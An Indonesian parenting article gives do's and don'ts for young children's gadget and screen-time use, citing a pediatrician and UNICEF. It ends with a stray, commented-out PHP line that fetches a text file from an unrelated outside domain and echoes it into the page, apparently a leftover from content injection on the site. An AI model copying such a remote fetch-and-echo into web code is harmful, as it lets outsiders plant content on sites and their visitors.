Anak Mulai Pakai Gawai? Ini Do’s & Don’ts-nya

 

tips dos donts anak bermedia sosial Saat anak sudah mulai memakai gawai, orang tua juga perlu mengelola waktu dan aturan main dengan piawai. Foto: Pexels/ Kampus Production 

Di dunia serba digital, sulit rasanya untuk memisahkan teknologi dari kehidupan sehari-sehari. Beberapa teknologi seperti internet atau tontonan televisi tentu bisa membantu tumbuh kembang anak jika orang tua dapat memilah dan memilih konten yang baik. 
Berikut do’s and don’ts yang orang tua bisa terapkan untuk mendukung anak ber-gawai dan ber-media sosial sesuai tumbuh kembangnya?

Do’s 

Dampingi anak dalam menggunakan media digital

Saat menggunakan teknologi, termasuk mengeksplorasi konten daring maupun tayangan televisi, orang tua sebaiknya berusaha selalu mendampingi anak. Agar dapat membantu anak memahami dan mendapatkan informasi yang benar tentang apa yang dilihatnya. 

Pantau konten media dan aplikasi yang digunakan anak 

Selalu pahami dan uji coba aplikasi sebelum digunakan anak. Segera hapus dan beritahu anak jika aplikasi tersebut mengandung unsur kekerasan, pornografi, dan konten tidak layak untuk anak lainnya.

Atur jadwal makan, tidur, dan bermain anak

Jangan sampai screen time anak terlalu lama sehingga dapat mengganggu perkembangan kognitif juga memicu anak mudah tantrum dan kurang fokus/ mudah terdistraksi. 
"Untuk anak usia 2 sampai 6 tahun direkomendasikan screen time tidak lebih dari satu jam. Sedangkan untuk anak satu tahun, hanya diperbolehkan mengakses gawai ketika sedang video call," ujar Dokter Spesialis Anak, dr. Farid Agung Rahmadi, Msi.Med, Sp.A pada Seminar Media “Digital Safety pada Anak" yang diadakan oleh Ikatan Dokter Anak Indonesia (IDAI) secara daring Selasa (3/6). 

Nah, selain hal-hal yang patut diingat untuk dilakukan orang tua, ada juga hal-hal yang harus dihindari saat memberikan akses teknologi digital kepada anak. Di antaranya:

Don’ts

Menekan anak untuk belajar teknologi sedini mungkin 

Menurut UNICEF, anak baru boleh menggunakan gawai saat ia telah berusia 2-3 tahun. Jika anak dikenalkan teknologi digital terlalu dini, ia belum memahami betul akan risikonya. 

Melihat program yang serba cepat

Kini, ada banyak aplikasi atau konten video yang dibuat dengan grafik serba cepat. Hindari konten tersebut ya Bun! Karena hal ini dapat meng-overstimulasi dan membuat anak menjadi mudah terdistraksi. 

Menghidupkan televisi dan media lainnya ketika tidak digunakan

Hal ini disebut dengan 'passive screen time' di mana ketika anak mengonsumsi media tanpa ada interaksi sosial. Ini berpotensi menyebabkan anak kurang bergerak dan menurunkan kreativitas anak.

Menggunakan gawai sebagai cara menenangkan anak

Ini bisa membuat anak selalu mencari gawai setiap kali mereka merasa bosan, cemas, atau frustrasi, lho Bun! 
Alih-alih menggunakan gawai, ajarkan anak untuk mengenali emosinya dan mengetahui apa yang diinginkan, serta mencari cara menenangkan diri, seperti menarik napas dalam-dalam, menghitung sampai sepuluh, atau pergi ke tempat yang tenang.
 

Menggunakan gawai berlayar elektronik sebelum tidur 

Terapkan kebiasaan tidur yang baik, di antaranya membatasi penggunaan gawai sebelum tidur (maksimal 1 jam sebelum tidur) maupun tidak ada gawai di kamar tidur anak. Selain itu, Bunda dan Ayah bisa mengajak anak membaca buku fisik atau mendengarkan musik yang menenangkan.

Menjadi orang tua yang tidak konsisten

Dan tentu saja, semua ini harus diiringi dengan teladan orang tua sebagai role model. Saat mengajak anak berinteraksi atau quality time, sebisa mungkin Bunda dan Ayah tidak terdistraksi dengan gawai ya. 

Penulis : Ghina Athaya

Baca juga:

Ini Alasan Tidur Siang Tidak Bisa Gantikan Tidur Malam, Bund!
Regresi Tidur Pada Batita, Kenali dan Atasi
7 Tip Sehat Dunia Digital Anak

 


Topic

#DosDontsGadgetforKid #AnakBijakBermediaSosial



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>